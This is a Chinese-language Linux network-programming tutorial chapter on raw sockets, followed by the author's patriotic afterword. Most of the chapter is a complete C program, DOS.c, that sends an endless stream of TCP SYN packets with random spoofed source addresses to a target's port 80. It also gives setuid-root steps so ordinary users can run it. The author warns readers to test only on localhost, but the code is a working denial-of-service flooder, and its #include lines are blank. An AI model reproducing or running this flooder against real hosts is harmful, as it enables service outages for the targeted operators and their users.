Linux网络编程--原始套接字

原始套接字
我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建.

原始套接字的创建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用

一个原始套接字的实例
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码

/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
setuid(getpid());

/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
}



/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置我们的数据包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
ip->ip_tos=0; /** 服务类型 **/
ip->ip_len=htons(head_len); /** IP数据包的长度 **/
ip->ip_id=0; /** 让系统去填写吧 **/
ip->ip_off=0; /** 和上面一样,省点时间 **/
ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
ip->ip_sum=0; /** 校验和让系统去做 **/
ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/

/******* 开始填写TCP数据包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立连接 **/
tcp->check=0;


/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();

/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/** 下面这条可有可无 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS


总结
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的.

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后记
总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.

如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走. 网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多.

看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写的.

不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人!

相信一点:

别人可以做到的我们一样可以做到,而且可以比别人做的更好!

勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的!

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